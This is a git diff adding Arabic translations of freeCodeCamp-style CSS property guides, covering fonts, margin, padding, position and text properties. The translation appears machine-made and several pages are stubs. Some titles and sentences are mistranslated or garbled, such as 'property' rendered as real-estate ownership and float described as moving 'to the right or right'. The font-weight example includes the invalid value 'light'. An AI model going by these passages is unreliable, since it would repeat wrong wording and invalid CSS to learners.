+*   مرجع الخاصية `flex` على [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/flex)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/properties/float-property/index.md b/client/src/guide/arabic/css/properties/float-property/index.md
new file mode 100644
index 0000000000..b5c4e74f44
--- /dev/null
+++ b/client/src/guide/arabic/css/properties/float-property/index.md
@@ -0,0 +1,20 @@
+---
+title: Float Property
+localeTitle: تعويم الملكية
+---
+## تعويم الملكية
+
+تسمح الخاصية `float` لعنصر يطفو إلى يمين أو يمين عنصر آخر. الاستخدام الأساسي `float` هو الحصول على صورة على يسار أو يمين كتلة النص.
+
+ `.my-element { 
+  float: left; 
+  float: right; 
+  float: inline-start; 
+  float: inline-end; 
+  float: none; 
+ } 
+` 
+
+#### معلومات اكثر:
+
+[وثائق MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/float)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/properties/font-family-property/index.md b/client/src/guide/arabic/css/properties/font-family-property/index.md
new file mode 100644
index 0000000000..287618ddb7
--- /dev/null
+++ b/client/src/guide/arabic/css/properties/font-family-property/index.md
@@ -0,0 +1,45 @@
+---
+title: Font Family Property
+localeTitle: الخط الأسرة الملكية
+---
+## الخط الأسرة الملكية
+
+خاصية عائلة الخط هي خاصية في CSS. يستخدمه المطورون لتغيير عائلة الخط (أو "الخط") لنص موقع الويب ، أو جزء من نص موقع الويب.
+
+تتضمن أمثلة الخطوط Arial و Georgia و Times New Roman وغيرها الكثير!
+
+لتغيير خط جزء من النص ، اكتب محدد النص المحدد وزوج من الأقواس المتعرجة. داخل الأقواس ، اكتب `font-family:` ثم اسم الخط. إذا كان اسم الخط يحتوي على أكثر من كلمة واحدة ، فستحتاج إلى استخدام علامتي اقتباس مفردتين أو مزدوجتين. خلاف ذلك ، ليست هناك حاجة لأسعار.
+
+ `
+<p>This font will be in Times New Roman.</p> 
+` 
+
+ `p { 
+  font-family: 'Times New Roman'; 
+ } 
+` 
+
+لكن العديد من الأشخاص المختلفين الذين لديهم أجهزة كمبيوتر مختلفة يتصفحون الويب على مستوى العالم. هذا يعني أنه لن يكون لدى الجميع New Times Roman مثبتًا في أجهزة الكمبيوتر الخاصة بهم. لمساعدة هؤلاء المستخدمين ، يجب عليك إضافة الخطوط الاحتياطية. الخطوط الاحتياطية هي خطوط أخرى يستخدمها المتصفح في حالة عدم توفر الخط الأول. إضافة فاصلة بعد الخط الأول ، وأضف اسم الخط الاحتياطي الأول. يمكنك استخدام أكثر من خط احتياطي واحد.
+
+ `
+<p>This font may or may not be in Lato.</p> 
+` 
+
+ `p { 
+  font-family: Lato, Helvetica, Georgia; 
+  /* Helvetica and Georgia are fallback fonts */ 
+ } 
+` 
+
+إذا لم يكن المستخدم مثبتًا على Lato أولاً ، فسيحاول المتصفح استخدام Helvetica. إذا لم يكن لدى المستخدم أيضًا Helvetica ، فسيحاول المتصفح استخدام جورجيا. إذا لم يكن لدى المستخدم جورجيا ، فسيستخدم المتصفح خطًا مثبتًا على جهاز الكمبيوتر الخاص بالمستخدم.
+
+بالنسبة إلى الخطوط الاحتياطية ، يمكنك استخدام الخطوط المسماة مثل جورجيا. يمكنك أيضًا استخدام أنواع عامة مثل "sans-serif" و "serif" و "monospace" وغيرها. خطوط Sans-serif ، مثل Lato ، هي خطوط بدون خطوط صغيرة في نهايات الحروف والأرقام. تستخدم خطوط Serif ، مثل Times New Roman ، خطوطًا صغيرة في نهايات الحروف والأرقام. تحتوي خطوط Monospace ، مثل Consolas ، على أحرف وأرقام متساوية العرض.
+
+ `
+<p>This font may or may not be in Lato.</p> 
+` 
+
+ `p { 
+  font-family: Lato, sans-serif, monospace; 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/properties/font-property/index.md b/client/src/guide/arabic/css/properties/font-property/index.md
new file mode 100644
index 0000000000..50b1f99d7a
--- /dev/null
+++ b/client/src/guide/arabic/css/properties/font-property/index.md
@@ -0,0 +1,11 @@
+---
+title: Font Property
+localeTitle: خاصية الخط
+---
+## خاصية الخط
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/css/properties/font-property/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/properties/font-size-property/index.md b/client/src/guide/arabic/css/properties/font-size-property/index.md
new file mode 100644
index 0000000000..18411e125e
--- /dev/null
+++ b/client/src/guide/arabic/css/properties/font-size-property/index.md
@@ -0,0 +1,93 @@
+---
+title: Font Size Property
+localeTitle: حجم الخط الممتلكات
+---
+## حجم الخط الممتلكات
+
+### التعريف والاستخدام
+
+يتم استخدام الخاصية `font-size` لتعيين حجم خط العنصر. يوجد أدناه بناء الجملة الافتراضي لهذه الخاصية.
+
+ `font-size:medium|xx-small|x-small|small|large|x-large|xx-large|smaller|larger|length|initial|inherit; 
+` 
+
+كما هو موضح أعلاه ، يمكن أن تأخذ هذه الخاصية عدة قيم. القيمة الافتراضية هي _متوسطة الحجم_ والقيم من _xx-small_ إلى _xx-large_ تحدد حجم الخط من صغير جدًا إلى كبير جدًا (مثل أحجام الملابس). تحدد القيم _الأصغر_ _والأكبر_ حجم الخط إلى أصغر من حجم خط العنصر الأصلي وأكبر من حجم خط العنصر الأصلي ، على التوالي. على الرغم من توافر القيم المذكورة ، فإن أكثر أنواع القيم المستخدمة شيوعًا هو وحدة الطول. قد تتضمن وحدات الطول: **px** و **٪** و **em** و **rem** و **pt** .
+
+### أطوال وحدات شرح
+
+#### بكسل
+
+يمكنك استخدام \* _px_ unit لتعيين حجم خط ثابت لعنصر بالبكسل. بكسل واحد هو نقطة واحدة على شاشة المستخدم. بما أن وحدات البكسل توفر حجم خط ثابت ، لا يمكن أن يكون حجم الخط مستجيبًا. هذا أمر سلبي لأن أحجام الخطوط قد لا تظهر بشكل جيد على أبعاد شاشة مختلفة وسيتوجب عليك استخدام استعلامات الوسائط لجعل مقياس الخط.
+
+**مثال:**
+
+ `p { 
+  font-size: 20px; 
+ } 
+` 
+
+**نتيجة:** ![مثال واحد](https://image.prntscr.com/image/TI_29z3FRO20dJD2Dc7JJA.png)
+
+#### ٪
+
+يمكنك استخدام وحدة **نسبة٪** لضبط حجم الخط النسبي لحجم الخط عنصر الجسم. الإعداد الافتراضي هو 16 بكسل ، لذا فإن النسبة 100٪ تساوي 16 بكسل. إذا تم تغيير حجم الخط الخاص بالجسم ، فسيتم أيضًا تغيير حجم خط أي عناصر موجودة داخل الجسم والتي تحتوي على قيمة كنسبة مئوية. تتيح هذه الوحدة تحجيم الخط على أحجام مختلفة للشاشة.
+
+**مثال:**
+
+ `p { 
+  font-size: 120%; 
+ } 
+` 
+
+**نتيجة:** ![المثال الثاني](https://image.prntscr.com/image/P9HTpWbETeyjZhxzf9z-SA.png) يغيّر الرمز أعلاه حجم الخط إلى 120٪ من حجم الخط الافتراضي وهو 16 بكسل.
+
+#### م
+
+وحدة أخرى يمكن استخدامها لحجم الخط هي وحدة **em** . وحدة **em** واحدة تساوي حجم الخط الافتراضي لأقرب عنصر أصل. هذا يعني أن 2em سيكون ضعف حجم الخط و 4 em سيكون 4 أضعاف حجم الخط. أصبحت وحدة **em** أكثر شيوعًا نظرًا لتوسيع نطاقها وجعلها مناسبة للجوّال.
+
+**مثال:**
+
+ `p { 
+  font-size: 1.4em; 
+ } 
+` 
+
+**نتيجة:** ![المثال الثالث](https://image.prntscr.com/image/AeCJ0TCbRHqOTAFJ9CYNUQ.png) يعيّن الرمز أعلاه حجم الخط في الفقرة إلى 1.4 مرة حجم الخط من أقرب أصل وهو العنصر الأساسي. يحتوي عنصر النص على حجم خط افتراضي يبلغ 16 بكسل ، لذا سيكون لهذه الفقرة حجم خط يبلغ 1.4 \* 16 = 22.4 بكسل.
+
+#### عيني
+
+تشبه وحدة **rem** إلى حد كبير وحدة **em** ولكن حجم الخط يتعلق بحجم الخط الافتراضي لعنصر الجذر. العنصر الجذر هو عنصر `<html>` .
+
+**مثال:**
+
+ `html { 
+    font-size: 12px; 
+ } 
+ p { 
+    font-size: 1.4rem; 
+ } 
+` 
+
+**نتيجة:** ![المثال الرابع](https://image.prntscr.com/image/V5bn69UmSPOHSVM5YSAcyw.png) تحتوي الفقرة أعلاه على حجم خط 1.4 إم. في هذه المرة ، تم تغيير حجم خط العنصر الجذري إلى 12 بكسل ، لذلك أصبح خط الفقرة الآن 12 \* 1.4 = 16.8px. لا تعتبر وحدة **ريم** خط عنصر العنصر على الرغم من حقيقة أنه لا يزال 16px.
+
+#### حزب العمال
+
+الوحدة النهائية لأحجام الخطوط هي قيمة النقطة ( **نقطة** ). هذه القيمة نسبة إلى أحجام النص الحقيقي. **نقطة** واحدة تساوي 1/72 بوصة على الورق ، بحيث يكون 72pt يساوي 1 بوصة. قيم النقاط دقيقة على الورق ولكنها قد تبدو مختلفة على المتصفحات المختلفة. هذه الوحدة مفيدة فقط عندما تحتاج إلى طباعة صفحات ذات حجم خط دقيق. وحدة **pt** غير قابلة للتحجيم.
+
+**مثال:**
+
+ `p { 
+  font-size: 16pt; 
+ } 
+` 
+
+**نتيجة:** ![المثال الخامس](https://image.prntscr.com/image/IyOOr_WCT963wa0DoWyoOg.png) حجم الخط أعلاه هو 16 نقطة.
+
+لقد أرفقت بعض روابط المقالات أدناه إذا كنت ترغب في قراءة المزيد حول هذا الموضوع.
+
+#### معلومات اكثر:
+
+*   https://css-tricks.com/css-font-size/
+*   https://www.w3schools.com/cssref/pr _font_ font-size.asp
+*   https://css-tricks.com/confused-rem-em/
+*   https://kyleschaeffer.com/development/css-font-size-em-vs-px-vs-pt-vs/
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/properties/font-style-property/index.md b/client/src/guide/arabic/css/properties/font-style-property/index.md
new file mode 100644
index 0000000000..c997f64e77
--- /dev/null
+++ b/client/src/guide/arabic/css/properties/font-style-property/index.md
@@ -0,0 +1,19 @@
+---
+title: Font Style Property
+localeTitle: خاصية نمط الخط
+---
+## خاصية نمط الخط
+
+الخاصية `font-style` تمكنك من تغيير نمط الخط بمعنى أنه يمكنك جعل الخط مائلًا. تقبل هذه الخاصية القيم التالية:
+
+*   `normal` - القيمة الافتراضية.
+*   `italic` - خط مائل بواسطة تحديد الخط الذي تم تصنيفه على أنه مائل في مجموعة الخطوط الخاصة به.
+*   `oblique` - يتم استخدام الخط المصنف على أنه مائل في عائلة الخطوط الخاصة به.
+
+`Italic` `oblique` قد تبدو مشابهة. وفقا ل [MDN](https://developer.mozilla.org/en-US/) _منحرف هي مجرد نسخة مائلة من الوجه العادي_ .  
+يمكنك أيضًا تحديد زاوية لدرجة اللون الخالية من الخطوط عند توفير قيمة `oblique` . إذا لم يتم توفير زاوية ، فسيتم استخدام 14 درجة كإعداد افتراضي.
+
+#### معلومات اكثر:
+
+*   [MDN - نمط الخط](https://developer.mozilla.org/en-US/docs/Web/CSS/font-style)
+*   [CSS-Tricks - على غرار الخط](https://css-tricks.com/almanac/properties/f/font-style/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/properties/font-variant-property/index.md b/client/src/guide/arabic/css/properties/font-variant-property/index.md
new file mode 100644
index 0000000000..a5393b7579
--- /dev/null
+++ b/client/src/guide/arabic/css/properties/font-variant-property/index.md
@@ -0,0 +1,24 @@
+---
+title: Font Variant
+localeTitle: الخط البديل
+---
+## الخاصية متغير الخط
+
+يتم استخدام خاصية متغير الخط الأكثر شيوعًا لتغيير النص المستهدف إلى أحرف استهلالية صغيرة. القيمة الافتراضية أمر `normal` .
+
+ `p { 
+  font-variant: small-caps; 
+ } 
+` 
+
+يقبل مكان الإقامة أيضًا `all-small-caps` `petite-caps` `all-petite-caps` `titling-caps` و `unicase` . ومع ذلك ، فهي جديدة في CSS3 ولم يتم دعمها بشكل جيد بعد.
+
+لاحظ أنه في حالة استخدام الأحرف الاستهلالية في ترميز HTML ، فسيتم تجاوز قيمة الأحرف الكبيرة ، مما يؤدي إلى أحرف كبيرة منتظمة. إذا كنت تريد الاحتفاظ بالترميز بأحرف كبيرة ، ولكن مع تغيير الأحرف الاستهلالية الصغيرة باستخدام CSS ، فكل ما عليك هو تعيين `text-transform: lowercase` صغيرًا إلى جانب تصريح `text-transform: lowercase` الصغيرة.
+
+في حين أن الأحرف الصغيرة يمكن أن تضيف قدراً إضافياً من الأناقة إلى طباعتك ، فإن المصممين يوصون باستخدامها فقط إذا كانت مدمجة بالفعل في الخط. إن الأحرف الكبيرة "المزيفة" هي عبارة عن نسخ محسوبة بالحواسيب من الحروف الكبيرة. أما الحروف الكبيرة "الحقيقية" ، من ناحية أخرى ، فيتم رسمها بشكل منفصل من قِبل مصمم النوع وتظهر على نطاق أوسع قليلاً وأكثر بدانة من تلك "الزائفة".
+
+#### معلومات اكثر:
+
+[تصميم للقراصنة](https://designforhackers.com/blog/small-caps/)
+
+[متغير الخط على MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/font-variant)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/properties/font-weight-property/index.md b/client/src/guide/arabic/css/properties/font-weight-property/index.md
new file mode 100644
index 0000000000..abab3947f6
--- /dev/null
+++ b/client/src/guide/arabic/css/properties/font-weight-property/index.md
@@ -0,0 +1,21 @@
+---
+title: Font Weight Property
+localeTitle: حجم الخط الممتلكات
+---
+## حجم الخط الممتلكات
+
+يمكن تعيين وزن الخط أعلى أو أقل باستخدام الخاصية `font-weight` . القيم المتاحة لل `font-weight` هي `normal` ، `bold` ، `lighter` ، `bolder` ، وقيمة رقمية.
+
+ `  font-weight: lighter; 
+  font-weight: bolder; 
+  font-weight: bold; 
+  font-weight: light; 
+  font-weight: 100; 
+  font-weight: 900; 
+` 
+
+القيم المتزايدة والجرأة تزيد من وزن الخط وخفيف الوزن وأخف وزنا.
+
+#### معلومات اكثر
+
+[وثائق MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/font-weight)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/properties/index.md b/client/src/guide/arabic/css/properties/index.md
new file mode 100644
index 0000000000..c9eee17cc8
--- /dev/null
+++ b/client/src/guide/arabic/css/properties/index.md
@@ -0,0 +1,7 @@
+---
+title: Properties
+localeTitle: الخصائص
+---
+#### مشروع المادة:
+
+تؤثر خصائص CSS على كيفية عرض العناصر في موقع الويب. شرح كيفية إنشاء قواعد CSS باستخدام أزواج الخاصية - القيمة ، مع أمثلة
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/properties/letter-spacing-property/index.md b/client/src/guide/arabic/css/properties/letter-spacing-property/index.md
new file mode 100644
index 0000000000..452d24f5d6
--- /dev/null
+++ b/client/src/guide/arabic/css/properties/letter-spacing-property/index.md
@@ -0,0 +1,28 @@
+---
+title: Letter Spacing Property
+localeTitle: خاصية تباعد الأحرف
+---
+## خاصية تباعد الأحرف
+
+تقوم خاصية تباعد الحروف بتعديل المسافة بين كل الحروف في كتلة النص. ويشار إليه أيضًا باسم "التعقب" في شروط الطباعة وفي البرامج ذات خيارات إعداد النوع المتقدمة. يقبل الموقع قيم طول `px` و `em` ، بما في ذلك القيم السالبة.
+
+ `.first-example { 
+  letter-spacing: 3px; 
+ } 
+ .second-example { 
+  letter-spacing: -1px; 
+ } 
+ .third-example { 
+  letter-spacing: 0.5em; 
+ } 
+` 
+
+![نتيجة CSS](https://github.com/kaithrendyle/guide-photos/blob/master/letter-spacing.png)
+
+بشكل عام ، من الجيد استخدام الوحدات النسبية ( `em` ) نظرًا لأن التباعد سيكون دائمًا بالنسبة لحجم الخط الذي أعلنته.
+
+من المهم مراعاة الوضوح عند ضبط تباعد الأحرف. إذا كانت الحروف متقاربة جدًا مع بعضها ، فيمكن أن تبدو مكتظة أو صعبة القراءة. من ناحية أخرى ، إذا كانت الحروف متباعدة جدًا ، فقد لا تقرأ ككلمة ، بل كحرف فردي. قد يؤثر هذا أيضًا في كيفية قراءة قارئي الشاشة للنص بصوت مرتفع للأشخاص الذين يعانون من ضعف في الرؤية.
+
+بشكل عام ، لا تحتاج الأحرف الصغيرة عادةً إلى ضبط المسافات بين الحروف. قد تجد حاجة إلى إجراء تعديلات عند استخدام أقسام من الأحرف الكبيرة إذا كانت المسافات تبدو ضيقة للغاية.
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/properties/line-height-property/index.md b/client/src/guide/arabic/css/properties/line-height-property/index.md
new file mode 100644
index 0000000000..5724ddf42d
--- /dev/null
+++ b/client/src/guide/arabic/css/properties/line-height-property/index.md
@@ -0,0 +1,11 @@
+---
+title: Line Height Property
+localeTitle: ارتفاع خط الملكية
+---
+## ارتفاع خط الملكية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/css/properties/line-height-property/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/properties/list-style-type-property/index.md b/client/src/guide/arabic/css/properties/list-style-type-property/index.md
new file mode 100644
index 0000000000..9422d63035
--- /dev/null
+++ b/client/src/guide/arabic/css/properties/list-style-type-property/index.md
@@ -0,0 +1,19 @@
+---
+title: List Style Type Property
+localeTitle: قائمة نوع نمط الممتلكات
+---
+## قائمة نوع نمط الممتلكات
+
+تتغير هذه الخاصية مظهر علامة عنصر القائمة. القيمة الافتراضية هي `disc` . يمكنك أيضًا إعطاء قيمة `none` إذا كنت لا تريد إظهار محددات العناصر. وهو جزء من خاصية `list-style` المختصرة.
+
+فيما يلي مجموعة من القوائم التي تشير إلى بعض الكلمات الرئيسية المحتملة والنتائج الخاصة بها. يمكن العثور على قائمة أكثر اكتمالاً على [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/list-style-type) ، ولكن يجب أن تدرك أن دعم المستعرض قد يقتصر على بعض الكلمات الجديدة.
+
+![قائمة الأمثلة](https://github.com/kaithrendyle/guide-photos/blob/master/lists-1.png)
+
+![قائمة الأمثلة](https://github.com/kaithrendyle/guide-photos/blob/master/lists-2.png)
+
+\* ملاحظة: ينتج `upper-latin` `upper-alpha` النتائج نفسها ، مثلما يحدث في حالة `lower-latin` `lower-alpha` . والفرق الوحيد هو أن `upper-latin` `lower-latin` غير مدعومان في IE6 أو IE7.
+
+#### معلومات اكثر:
+
+[خاصية نوع نمط قائمة على MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/list-style-type)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/properties/margin-property/index.md b/client/src/guide/arabic/css/properties/margin-property/index.md
new file mode 100644
index 0000000000..ef908c8b66
--- /dev/null
+++ b/client/src/guide/arabic/css/properties/margin-property/index.md
@@ -0,0 +1,72 @@
+---
+title: Margin Property
+localeTitle: خاصية الهامش
+---
+## خاصية الهامش
+
+خاصية الهامش هي المساحة حول عنصر ، بدلاً من الحشو ، وهي المساحة داخل العنصر. الهامش شفاف وهو العنصر الخارجي في نموذج الصندوق (انظر الشكل أدناه).
+
+![نموذج مربع الشكل](https://css-tricks.com/wp-content/csstricks-uploads/thebox.png)
+
+المصدر: https://css-tricks.com/the-css-box-model/
+
+### وضع الهامش
+
+هناك طرق متعددة لتحديد هامش عنصر.
+
+الطريقة البسيطة ...
+
+ `  margin: 10px; 
+` 
+
+سيؤدي ذلك إلى وضع 10 بكسل من المساحة بشكل كامل حول العنصر.
+
+يمكنك أيضًا وضع كميات مختلفة من المساحة على كل جانب من العنصر. فمثلا:
+
+ `  margin-top: 10px; 
+  margin-bottom: 15px; 
+  margin-left: 20px; 
+  margin-right: 25px; 
+` 
+
+ومع ذلك ، هناك اختصار يمكن استخدامه عند تعريف جوانب مختلفة من عنصر. يبدأ من الأعلى ويتحرك في اتجاه عقارب الساعة حول العنصر (أعلى ، يمين ، أسفل ، يسار). على سبيل المثال ، سيتم كتابة الشفرة حول shorhand مثل:
+
+ `  margin: 10px 25px 15px 25px; 
+` 
+
+بالإضافة إلى ذلك ، إذا كانت الهوامش السفلية والعلوية متماثلة ، وكانت الهوامش اليمنى واليسرى متماثلة ، يمكن كتابتها على النحو التالي:
+
+ `  margin: 10px 20px; 
+` 
+
+حيث تبلغ الهوامش العلوية والسفلية 10 بكسل ، بينما تبلغ الهوامش اليمنى واليسرى 20 بكسل.
+
+### قيم العقارات الأخرى
+
+تلقائي - يحسب المتصفح الهوامش.
+
+الأولي - قم بتعيين الخاصية إلى قيمتها الأولية
+
+يرث - عنصر يرث الهامش من عنصره الرئيسي
+
+### قياس الفضاء
+
+مثلما توجد طرق متعددة لتحديد الهامش ، توجد أيضًا طرق متعددة لقياس الهامش.
+
+px - القياس بالبكسل ، الوحدة القياسية لقياس مساحة الشاشة.
+
+٪ - النسبة المئوية للشاشة. هذا سيجعل العنصر يتقلص وينمو مع المتصفح وهو أحد وحدات القياس الموصى بها لتصميم الويب سريع الاستجابة.
+
+م - حجم وحدة بالنسبة لحجم حجم العنصر الحالي.
+
+وحدة حجم rem - نسبة إلى حجم الخط لعنصر الجذر من الصفحة.
+
+[هنا](https://www.w3schools.com/CSSref/css_units.asp) هو دليل على وحدات CSS.
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
+
+*   [مدارس W3](https://www.w3schools.com/CSSref/pr_margin.asp)
+*   [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/margin)
+*   [CSS الخدع](https://css-tricks.com/almanac/properties/m/margin/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/properties/overflow-property/index.md b/client/src/guide/arabic/css/properties/overflow-property/index.md
new file mode 100644
index 0000000000..1755156489
--- /dev/null
+++ b/client/src/guide/arabic/css/properties/overflow-property/index.md
@@ -0,0 +1,11 @@
+---
+title: Overflow Property
+localeTitle: خاصية الفائض
+---
+## خاصية الفائض
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/css/properties/overflow-property/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/properties/padding-property/index.md b/client/src/guide/arabic/css/properties/padding-property/index.md
new file mode 100644
index 0000000000..845f2721cc
--- /dev/null
+++ b/client/src/guide/arabic/css/properties/padding-property/index.md
@@ -0,0 +1,17 @@
+---
+title: Padding Property
+localeTitle: الحشو الملكية
+---
+## الحشو الملكية
+
+يضيف خاصية `padding` CSS مساحة داخلية بين المحتوى وحدود العنصر. يمكنك استخدام `padding-top` ، `padding-right` ، `padding-bottom` `padding-left` ، `padding-left` معينة من العنصر ، ولكن `padding` هو نسخة مختصرة لجميع هذه الخصائص. إذا:
+
+*   يتم توفير قيمة واحدة تنطبق على جميع عناصر العنصر
+*   يتم توفير قيمتين ، سيتم تطبيق القيمة الأولى على الجانبين العلوي والسفلي وسيتم تطبيق القيمة الثانية على الجانبين الأيمن والأيسر من العنصر.
+*   يتم تقديم ثلاث قيم ، وسيتم تطبيق القيمة الأولى على القمة ، وسيتم تطبيق القيمة الثانية إلى اليسار واليمين ، وسيتم تطبيق القيمة الثالثة على الجوانب السفلية للعنصر.
+*   يتم توفير أربع قيم ، وسيتم تطبيق القيم بالترتيب التالي: أعلى ، يمين ، سفلي ، يسار.
+
+#### معلومات اكثر:
+
+*   [MDN - الحشو](https://developer.mozilla.org/en-US/docs/Web/CSS/padding)
+*   [CSS - الخدع - الحشو](https://css-tricks.com/almanac/properties/p/padding/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/properties/position-property/index.md b/client/src/guide/arabic/css/properties/position-property/index.md
new file mode 100644
index 0000000000..7d381c44e5
--- /dev/null
+++ b/client/src/guide/arabic/css/properties/position-property/index.md
@@ -0,0 +1,20 @@
+---
+title: Position Property
+localeTitle: موقف الملكية
+---
+## موقف الملكية
+
+تحدد خاصية الموضع نوع طريقة تحديد المواقع المستخدمة لعنصر. يحتوي على خمس قيم للكلمات الرئيسية:
+
+ `    .static         { position: static; } 
+    .relative       { position: relative; } 
+    .sticky         { position: sticky; } 
+    .fixed          { position: fixed; } 
+    .absolute       { position: absolute; } 
+` 
+
+#### معلومات اكثر:
+
+المستندات: [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/position)
+
+دعم المتصفح: [caniuse](http://caniuse.com/#search=position)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/properties/text-align-property/index.md b/client/src/guide/arabic/css/properties/text-align-property/index.md
new file mode 100644
index 0000000000..833d89ce64
--- /dev/null
+++ b/client/src/guide/arabic/css/properties/text-align-property/index.md
@@ -0,0 +1,19 @@
+---
+title: Text Align Property
+localeTitle: نص محاذاة الخاصية
+---
+## نص محاذاة الخاصية
+
+تحدد خاصية محاذاة النص المحاذاة الأفقية للنص في عنصر.
+
+ `    .text-align { 
+        /* List of keyword values of text-align property*/ 
+        text-align: left|right|center|justify|initial|inherit; 
+    } 
+` 
+
+#### معلومات اكثر:
+
+المستندات: [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/text-align)
+
+دعم المتصفح: يتم تصنيفها ضمن "مجموعة فرعية مدعومة بشكل جيد" ، لذلك لا داعي للقلق بشأن دعم المستعرض
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/properties/text-decoration-property/index.md b/client/src/guide/arabic/css/properties/text-decoration-property/index.md
new file mode 100644
index 0000000000..6936879c8f
--- /dev/null
+++ b/client/src/guide/arabic/css/properties/text-decoration-property/index.md
@@ -0,0 +1,23 @@
+---
+title: Text Decoration Property
+localeTitle: خاصية زخرفة النص
+---
+## خاصية زخرفة النص
+
+تحدد خاصية زخرفة النص الزخرفة المضافة للنص. لديها 6 قيم محتملة:
+
+ `    .none {text-decoration: none} 
+    .underline {text-decoration: underline} 
+    .line-through {text-decoration: line-through} 
+    .overline {text-decoration: overline} 
+    .initial {text-decoration: initial} 
+    .inherit {text-decoration: inherit} 
+` 
+
+**ملاحظة** : في CSS3 يمكنك استخدام خاصية لون زخرفة النص لتغيير لون الزخرفة ، وإلا فإن اللون هو نفس لون النص.
+
+#### معلومات اكثر:
+
+المستندات: [شبكة مطوري موزيلا](https://developer.mozilla.org/en-US/docs/Web/CSS/text-decoration)
+
+دعم المتصفح: [Caniuse](http://caniuse.com/#search=text-decoration)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/properties/text-indent-property/index.md b/client/src/guide/arabic/css/properties/text-indent-property/index.md
new file mode 100644
index 0000000000..9d6af7d370
--- /dev/null
+++ b/client/src/guide/arabic/css/properties/text-indent-property/index.md
@@ -0,0 +1,34 @@
+---
+title: Text Indent Property
+localeTitle: خاصية المسافة البادئة النص
+---
+## خاصية المسافة البادئة النص
+
+تحدد الخاصية css التي لها `text-indent` مقدار المسافة البادئة (مسافة فارغة) التي يتم وضعها قبل أسطر النص في كتلة. بشكل افتراضي ، يتحكم هذا المسافة البادئة للسطر المنسق الأول فقط من الكتلة ، ولكن يمكن استخدام الكلمات الأساسية `hanging` `each-line` لتغيير هذا السلوك.
+
+**الكلمات الدالة**
+
+`hanging` - تؤثر المسافة البادئة على السطر الأول من حاوية الكتلة بالإضافة إلى كل سطر بعد فاصل سطر قسري ، ولكنها لا تؤثر على الخطوط بعد فاصل الالتفاف الناعم.
+
+`each-line` - يقوم باستبدال الخطوط التي يتم تحديد مسافة بادئة لها. جميع الخطوط ما عدا السطر الأول ستكون مزاحة.
+
+**بناء الجملة**
+
+ `  /* <length> values */ 
+  text-indent: 40px; 
+ 
+  /* <percentage> value relative to the containing block width */ 
+  text-indent: 10%; 
+ 
+  /* Keyword values */ 
+  text-indent: 2em each-line; 
+  text-indent: 2em hanging; 
+  text-indent: 2em hanging each-line; 
+` 
+
+_ملاحظة: يتوفر حاليًا دعم للكلمات الرئيسية `hanging` `each-line` متاح فقط خلف علامة ميزات النظام الأساسي للويب التجريبية_
+
+### معلومات اكثر:
+
+*   [MDN Doc على `text-indent`](https://developer.mozilla.org/en-US/docs/Web/CSS/text-indent)
+*   [دعم المتصفح `text-indent`](http://caniuse.com/#feat=css-text-indent)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/properties/text-transform-property/index.md b/client/src/guide/arabic/css/properties/text-transform-property/index.md
new file mode 100644
index 0000000000..0f0605cc6a
--- /dev/null
+++ b/client/src/guide/arabic/css/properties/text-transform-property/index.md
@@ -0,0 +1,34 @@
+---
+title: Text Transform Property
+localeTitle: خاصية تحويل النص
+---
+## خاصية تحويل النص
+
+تتحكم خاصية `text-transform` في CSS في حالة النص والرسملة وتسمح بمثل هذا التحكم دون الاعتماد على النص الأصلي الذي تمت كتابته.
+
+أكثر القيم استخدامًا لهذه الخاصية هي `lowercase` `uppercase` `capitalize` .
+
+ `<style> 
+ .lowercased { 
+  text-transform: lowercase; 
+ } 
+ 
+ .uppercased { 
+  text-transform: uppercase; 
+ } 
+ 
+ .capitalized { 
+  text-transform: capitalize; 
+ } 
+ </style> 
+ 
+ <p class="uppercased">this text was lowercase.</p> <!-- = THIS TEXT WAS LOWERCASE. --> 
+ <p class="lowercased">THIS TEXT WAS UPPERCASE.</p> <!-- = this text was uppercase. --> 
+ <p class="capitalized">this text wasn't capitalized.</p> <!-- = This Text Wasn't Capitalized. --> 
+` 
+
+#### معلومات اكثر:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/text-transform)
+
+[CSS-الحيل](https://css-tricks.com/almanac/properties/t/text-transform/)
